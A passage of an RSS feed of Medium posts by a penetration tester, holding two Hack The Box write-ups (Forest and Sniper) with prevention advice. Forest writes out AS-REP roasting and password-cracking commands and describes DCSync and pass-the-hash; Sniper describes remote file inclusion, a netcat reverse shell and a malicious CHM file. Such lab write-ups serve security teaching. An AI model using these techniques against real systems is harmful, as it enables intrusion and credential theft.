   |<br>| SiHostRestartCountLimit      | 0                                              |<br>| SiHostRestartTimeGap         | 0                                              |<br>| VMApplet                     | SystemPropertiesPerformance.exe /pagefile      |<br>| WinStationsDisabled          | 0                                              |<br>| scremoveoption               | 0                                              |<br>| LastLogOffEndTimePerfCounter | 803712302848                                   |<br>| ShutdownFlags                | 8359                                           |<br>| Userinit                     | C:\Windows\system32\userinit.exe,              |<br>| IsConnectedAutoLogon         | 0                                              |<br>| DisableCad                   | 1                                              |<br>| DisableLockWorkstation       | 0                                              |<br>| EnableFirstLogonAnimation    | 1                                              |<br>| AutoLogonSID                 | S-1-5-21-1106092278-1377359101-4055884606-1001 |<br>| LastUsedUsername             | ********                                       |<br>+------------------------------+------------------------------------------------+</pre><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ol><li><a href="https://attack.mitre.org/tactics/TA0003/">https://attack.mitre.org/tactics/TA0003/</a></li><li><a href="https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-allow-access">https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/clients/remote-desktop-allow-access</a></li><li><a href="https://remmina.org/">https://remmina.org/</a></li><li><a href="https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse">https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse</a></li><li><a href="https://github.com/PowerShell/openssh-portable">https://github.com/PowerShell/openssh-portable</a></li><li><a href="https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH">https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH</a></li><li><a href="https://osquery.io/">https://osquery.io/</a></li><li><a href="https://github.com/keydet89/RegRipper2.8">https://github.com/keydet89/RegRipper2.8</a></li><li><a href="https://attack.mitre.org/matrices/enterprise/windows/">https://attack.mitre.org/matrices/enterprise/windows/</a></li><li><a href="https://github.com/teoseller/osquery-attck">https://github.com/teoseller/osquery-attck</a></li><li><a href="https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/">https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/</a></li><li><a href="https://digital-forensics.sans.org/summit-archives/DFIR_Summit/Finding-Malware-Like-Iron-Man-Corey-Harrell.pdf">https://digital-forensics.sans.org/summit-archives/DFIR_Summit/Finding-Malware-Like-Iron-Man-Corey-Harrell.pdf</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b53573c2aac0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Forest Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/hack-the-box-forest-write-up-89ca892b54a3?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/89ca892b54a3</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Mon, 23 Mar 2020 11:13:57 GMT</pubDate>
            <atom:updated>2020-04-01T14:40:08.314Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Forest Write-up</h3><p>Forest is a Hack The Box machine marked as easy with a difficulty score of 5.6 out of 10. It features an Active Directory Domain Controller with full functionalities. The initial foothold phase requires mainly enumeration and understanding of Kerberos attacks. For the privilege escalation we will have to enumerate the Active Directory paths and abuse ACLs rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*X4vTNVuosp59Tp-0ot7EEw.png" /></figure><p><strong>Initial Foothold</strong></p><p>Before starting the actual exploration on the machine, it’s best to add the mapping from the hostname of the machine to the IP address to the /etc/hosts file so that it automatically resolves the IP from the hostname.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*2P6PRuD5TmCncyAIeRv9BQ.png" /><figcaption>/etc/hosts</figcaption></figure><p>Now we need to find the services running on the machine by scanning the ports. First, we will run a full-range TCP port scan to find the open ports. The -p- parameter stands for the whole range of ports, while -oN will write the normal output to a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*9gXYjAF7u3znjpfhfByXag.png" /><figcaption>TCP scan for the full range of ports.</figcaption></figure><p>Next, we will take the open ports and run a more thorough scan on them. The parameter -sC makes use of nmap’s standard enumeration scripts and -sV enumerates also the standard version of the service running on a port. It is clear from the open ports that the machine is Windows domain controller since most of the services are the one used in an Active Directory setting such as Kerberos, MSRPC, SMB and DNS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHsZwFTBwE9d902RgkbX5g.png" /><figcaption>Enumerating the open ports using standard scripts</figcaption></figure><p>A good starting point in enumerating Windows systems is the <a href="https://tools.kali.org/information-gathering/enum4linux">enum4linux</a> tool. It has several important features such as user listing, share enumeration, identifying the remote OS and listing group membership information. In our case, it managed to find users, password policy information, groups and domain group membership. The most important information provided was the list of usernames. To get the list of users a technique called <a href="https://www.trustedsec.com/blog/new-tool-release-rpc_enum-rid-cycling-attack/">RID cycling</a> was used which leverages a so-called null session attack. A null session is an unauthenticated (actually authenticated with an anonymous user) connection to the IPC$ share. After establishing the connection, one can find out the SID/GUID of the domain. Finally, with the GUID the attacker can cycle through the whole range of possible RIDs, enumerating all the accounts in the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1KAEE_5QvIW9iX8NbCGHYg.png" /><figcaption>A list of users enumerated by the enum4linux tool</figcaption></figure><p>After several unsuccessful tries of establishing a foothold, I have tried a <a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)">Kerberos</a> <a href="https://adsecurity.org/?p=227">attack</a> called <a href="https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/">AS-REP roasting,</a> which abuses user accounts that don’t require Kerberos <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961961(v=technet.10)?redirectedfrom=MSDN">preauthentication</a>. Usually, when a user initiates a TGT request, it has to supply a timestamp encrypted with that user’s hashed password. The Key Distribution Center then decrypts the timestamp to verify if the subject making the request really is that user, and then returns the response and continues with normal authentication procedures. The problem is that the response’s encrypted part is signed with the client key. Therefore, if preauthentication is not enabled, an attacker can send a request for that user which doesn’t have preauthentication enabled and received the encrypted response which can be cracked offline. In our case, we use the lists of users to try the attack for each one of them by using the following command.</p><pre>GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -usersfile usernames.txt -format john -outputfile hashes.asreproast</pre><pre>john --wordlist=/usr/share/wordlists/rockyou.txt hashes.asreproast</pre><p>The attack successfully returned the encrypted response for a service account named svc-alfresco. Then, <a href="https://en.wikipedia.org/wiki/John_the_Ripper">john</a> was used to crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzRxaUqs0bhADRz4PfR9fw.png" /><figcaption>hashes.asreproast</figcaption></figure><p>Having the credentials for the svc-alfresco user, the next step was to connect to the machine. Usually, the service account is not allowed to connect to the machine interactively. To bypass this, I have used the Windows Remote Management protocol, which is an implementation of WS-Management Protocol. This is a protocol used by hardware and operating systems from different vendors to interoperate.<a href="https://github.com/Hackplayers/evil-winrm"> Evil-WinRM</a> is the perfect tool for this since it has powerful features such as loading Powershell scripts, DLLs and C# assemblies in memory memory combined with upload and download file functionalities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*wp8hpdAMC_Hj-QQulsLpAg.png" /></figure><p><strong>Privilege escalation</strong></p><p>Knowing that the machine is a Domain Controller, my intuition was that another Active Directory attack will be needed for the privilege escalation. In our case, the setup is made up of only one machine. However, manually enumerating and discovering paths in a vast AD environment would be painfully slow. <a href="https://github.com/BloodHoundAD/BloodHound">Bloodhound</a> was created exactly for this reason. It uses graph theory to reveal hidden relationships in an AD environment. Bloodhound uses the <a href="https://www.google.com/search?client=firefox-b-e&amp;q=Neo4j">Neo4j</a> graph database technology that can easily discover relationships and calculate shortest paths between nodes and it is written in JavaScript as a standalone desktop application. To gather the data an ingestor called SharpHound is used. It has two different variants, one written in Powershell and the second one is a compiled C# binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gAXfMhv1Cqkfqc5BSGMPAQ.png" /><figcaption>The SharpHound ingestor</figcaption></figure><p>In my previous experience, I have learned that invoking Powershell directly from Evil-WinRM prevents the output of errors. Therefore I first started a Powershell remote shell, imported the model and then ran it. The documentation for the parameters used by Invoke-Bloodhound can be found <a href="https://github.com/BloodHoundAD/BloodHound/wiki/Data-Collector">here</a>. As we can see from the image, SharpHound creates a zip file with some JSONs inside. The zip file can be dragged-and-dropped in the Bloodhound interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XsLpNbX1hjHPkITosQxelg.png" /><figcaption>The BloodHound interface</figcaption></figure><p>Another tool that can be used in combination with BloodHound is <a href="https://github.com/fox-it/aclpwn.py">aclpwn</a>. It identifies and exploits ACL-based privilege escalation paths. The arguments needed are the source (the user that’s been compromised already) and the destination (it can be a user or a domain). In our case, we want to get from user svc-alfresco to the htb.local domain. As you can see it found two ACL attack paths. An <a href="https://en.wikipedia.org/wiki/Access-control_list">Access Control List</a> (ACL) is a set of rules in a domain which can be configured for either an object or an Organizational Unit (OU). All objects inside the OU will inherit the ACLs that determine how they can interact in between them (an object can be anything — a user, a group, a machine, etc).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXk9qO8UEXBq1wubiladXw.png" /><figcaption>Running aclpwn</figcaption></figure><p>What happens in our case is that in both cases the user wants to achieve WriteDacl permissions on the domain object. <a href="https://adsecurity.org/?p=3658">WriteDacl</a> provides the ability to modify security on an object which can lead to Full Control of the object. By default, the user in Exchange Windows Permission group can do this. The next step down the chain is to GenericAll, which means that an object has “The right to create or delete children, delete a subtree, read and write properties, examine children and the object itself, add and remove the object from the directory, and read or write with an extended right” of another object. The next steps are MemberOf, which means a group is a member of another group.</p><p>In case you were wondering why do we need WriteDacl permissions on the domain, the answer is to grant <a href="https://blog.stealthbits.com/what-is-dcsync-an-introduction/">DCSync</a> privileges. DCSync right allows an attacker to simulate the behaviour of a Domain Controller and it has two <a href="https://adsecurity.org/?p=1729">stages</a>:</p><ol><li>Discover the Domain Controller in the provided domain</li><li>Request the Domain Controller to replicate the user credentials</li></ol><p>The attack can be performed either over the network by using the Impacket <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py">secretsdump.py</a> script or by dropping <a href="https://github.com/gentilkiwi/mimikatz">mimikatz</a> on the target. I have chosen the latter option. Finally, I have used a Pass-The-Hash attack to login as the Administrator user by using the hash extracted with mimikatz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*wpR-40UWON0AfhUfwDahyA.png" /><figcaption>Performing a DCSync attack using mimikatz</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6VghpiG5iNB40GQ5AO4nQ.png" /><figcaption>Pass-The-Hash using wmiexec.py</figcaption></figure><p><strong>Prevention and detection</strong></p><p>The first step in preventing such an attack would be not leaving unneeded ports open. Besides, an Intrusion Prevention/Detection System can be installed to alert and defend from most attacks described here.</p><p>Following, to prevent RID cycling one can disable SID enumeration by disallowing the <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-do-not-allow-anonymous-enumeration-of-sam-accounts-and-shares">enumeration of SAM accounts and shares</a> and also disallowing <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-allow-anonymous-sidname-translation">anonymous SIDs and name translation</a>. Also, anonymous login to IPC$ can be <a href="https://www.ibm.com/support/knowledgecenter/en/SSKMKU/com.ibm.qradar.doc/t_qvm_disab_admin_shares.html">disabled</a>. An easy way to defend from AS-REP roasting is to make sure Kerberos preauthentication is enabled.</p><p>Another thing to keep in mind is that service accounts such as svc-alfredo are not supposed to perform interactive logins and perform commands. Therefore, alerts can be set up for such activities. It is easy to detect when scripts or binaries such as SharpHound.ps1 and mimikatz.exe are dropped on the disk by checking the hash. However, some techniques allow them to be run in-memory. To detect this, deep packet inspection can be enabled to detect them before reaching the host.</p><p>To defend against ACL attacks the one should take the stand of the attacker and audit the policies. A good thing is to restrict permission delegation so that admins on the hosts are not also domain admins. ACL changes need to be monitored and system access control lists (SACLs) can be used to monitor and alert when objects in ACLs are accessed or modified.</p><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89ca892b54a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Sniper Write-Up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/hack-the-box-sniper-write-up-ccf61554f4f5?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccf61554f4f5</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Mon, 16 Mar 2020 20:18:26 GMT</pubDate>
            <atom:updated>2020-04-01T14:40:31.907Z</atom:updated>
            <content:encoded><![CDATA[<p>Sniper is a medium-difficulty Hack The Box Windows machine with a difficulty ranking of 6/10. The user part relies on exploiting a web application and doing basic recon combined with some Powershell scripting. For the root part, a malicious document must be created and dropped in a specific location.</p><p><strong>Initial foothold</strong></p><p>Before starting it is best to add the IP address of the box to the /etc/hosts file so that the hostname is resolved automatically and the IP address doesn’t have to be memorised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*bURpD0uen8g-V8nA9sGsXw.png" /><figcaption>/etc/hosts</figcaption></figure><p>First, we need to enumerate the ports, so I initially performed a basic scan on the whole range of TCP ports to find the open ones. The -p- flag is used for scanning the whole range, while the -oN flag writes the output to a file in the same format as the standard output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*jjefDHTQuGBmwpz34UBVeg.png" /><figcaption>Nmap enumeration of open TCP ports</figcaption></figure><p>Next, I did a more thorough enumeration on the open ports. The flags are -p for specifying the ports to be scanned, -sC stands for the default scripts and -sV to determine the service/version info.</p><p>It looks like there is a web server running on port 80. Also, <a href="https://en.wikipedia.org/wiki/Microsoft_RPC">Microsoft Windows RPC</a> which is a client/server model implemented by Microsoft to support interaction between hosts in different environments is running on ports 135 and 49667. <a href="https://www.greycampus.com/opencampus/ethical-hacking/netbios-enumeration">NetBIOS</a> runs on 135 and is used for communicating with the network hardware and to transmit data across the network. In theory, we can query it for enumerating info such as a local list of computers belonging to a domain, a list of shares on the individual hosts on the network, policies and passwords. However, in practice, it is not very useful. Finally, SMB is enabled on port 445. It is used for sharing access to files, printers and serial ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*2RD1ICbGZ5N-8MjZIWOaJw.png" /><figcaption>Nmap enumeration of open TCP ports using the default scripts</figcaption></figure><p>The web server looks like the only vulnerable part of the machine. At first glance, the application has two interesting areas, /blog and /user. I have tried performing SQL injections using sqlmap on the login panel in /user, but without any success. However, while exploring /blog I have discovered the lang parameter which could be susceptible to either an SQL injection or a file inclusion vulnerability.</p><p>I started trying common Windows files to test if it is a Local File Inclusion (LFI) vulnerability. However, this wouldn’t get me far since I can only view files and not execute any commands or view directories structure and contents. At most, I could try to brute-force in a search for other files. I need to find a way to achieve code execution on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PD8zHgNawkB5wq2iyEkyA.png" /><figcaption>Testing for LFI vulnerability</figcaption></figure><p>Remote file inclusion (RFI) is a similar class of vulnerabilities which allows the attacker to include a file over the network. One type of RFI is the one using a remote SMB share. For this to work two settings must be enabled in PHP, ‘allow_url_fopen’ and ‘allow_url_include’.</p><p>First, I tried to use the Impacket <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py">smbserver.py</a> script which creates a simple SMB share while it is running, but I couldn’t connect to it from the Windows machine due to some protocol version and SSL problems. Therefore, I had to start an SMB service on my Kali host. In addition to the settings in the configuration file, keep in mind that the directory must have write permissions to copy files to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*7ksJOS3QpUuWLxSty18M5A.png" /><figcaption>SMB configuration file</figcaption></figure><p>To get a reverse shell I have written a PHP script which was placed in my SMB share and called it using RFI. The script has functionalities to create a temporary directory, upload a file (in this case netcat) and spawn a reverse shell by using the netcat binary. Besides, I had to start a simple HTTP server which allows for the download of netcat (this is not mandatory, files can be copied from the SMB share by calling system). I have chosen to include this steps in a script and not use a web shell because I can easily replicate them in case someone resets the machine and, most important, some of the commands were not working if I ran them from a web shell (this was a big time consumer, I assume Windows Defender was blocking the requests somehow).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*kCcc1O8x8vmruFZ9HyNSzA.png" /><figcaption>Script used to upload netcat and spawn a reverse shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*4p-DHjXANXyJWCrQKn5EEg.png" /><figcaption>Simple HTTP server used to transfer files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*tTus61WMZCzvDm-UEkBnDA.png" /><figcaption>Low privilege shell as the user iusr</figcaption></figure><p><strong>Pivoting from iusr to Chris</strong></p><p>After getting the shell we can see that we have a low privilege shell as a service account without many privileges. It is common practice to use service accounts to run web servers because it limits the privileges of the attacker in case the server is compromised. Therefore, we need to pivot to the user Chris before we can escalate to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*W830dojHXhE3bcRaFgnREw.png" /><figcaption>db.php</figcaption></figure><p>While doing some basic enumeration I have found a set of credentials in C:\inetpub\wwwroot\user\db.php. There is a possibility that Chris reused the same password and we might be able to pivot by using it. For this, I have written a Powershell script which uses the password and the nc64.exe binary to spawn a reverse shell as Chris.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*dR4o53Wuq6zZrf6fx5XN0Q.png" /><figcaption>runas.ps1</figcaption></figure><p><strong>Privilege escalation from Chris to root</strong></p><p>While enumerating the files accessible by Chris I have stumbled upon 2 important ones. The first one is C:\Users\Chris\Downloads\instructions.chm. The second one is C:\Docs\note.txt. <a href="https://whatis.techtarget.com/fileformat/CHM-Compiled-HTML-file">CHM</a> format stands for compiled HTML and is commonly used for documentation since it has features such as indexing and full-text searching. Malicious CHM files are listed as a Mitre ATT&amp;CK <a href="https://attack.mitre.org/techniques/T1223/">technique</a> for initial compromise. Several <a href="https://github.com/yasinyilmaz/vuln-chm-hijack">resources</a> and <a href="https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1">tools</a> are available for crafting them. While playing with the instructions.chm file I realised that if I drop it in the C:\Docs\ folder it disappears. Therefore, I inferred that if I craft a malicious CHM file and drop it in C:\Docs\ the CEO will open it with a scheduled task and get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*0Yd3SekEIz7gnYL1pAqWGg.png" /><figcaption>instructions.chm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6t0Z63wAO9qpqgQAmsPYA.png" /><figcaption>note.txt</figcaption></figure><p>To craft the malicious CHM file I have used a Windows VM and the <a href="https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1">Out-CHM</a> Powershell script. Keep in mind that Windows Defender must be disabled, otherwise, it will flag the script as malicious and remove it. Also, the exploit is unstable and can take a few tries to get it working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*T2RsdesGbWX_CQ8TTiIhow.png" /><figcaption>Crafting the malicious CHM file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*mFFqxYmGu9UdpLQnBVwMpQ.png" /><figcaption>Root shell</figcaption></figure><p><strong>Prevention and detection</strong></p><p>In this section, I will discuss the steps that can be taken to prevent and detect such a compromise. An important measure is to deploy an intrusion detection/prevention system to detect actions such as port scans and reverse shells. Also, unused services such as SMB should be closed to prevent any additional risks.</p><p>Besides IDS/IPS, several other measures can be put in place to prevent the exploitation of the web application, such as performing deep packet inspection on the network traffic to detect things like SQL injection and monitoring application logs for anomalies such as remote file inclusion. Moreover, a web application firewall can be deployed to protect the application itself. It goes without saying that the two PHP settings, ‘allow_url_fopen’ and ‘allow_url_include’ should be disabled. One can use an automation deployment service such as <a href="https://puppet.com/">puppet</a> to make sure all the servers have the same configurations.</p><p>To detect the attacker on the system an Endpoint Detection and Response (EDR) system can be deployed to detect anomalies such as a service account spawning a shell and running scripts. Also, the service account should not have write access anywhere else except for the necessary folders inside the web application directory and should not be able to execute scripts. Finally, users login types should be more restricted, passwords should not be reused and hard coding them inside scripts should be forbidden.</p><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccf61554f4f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>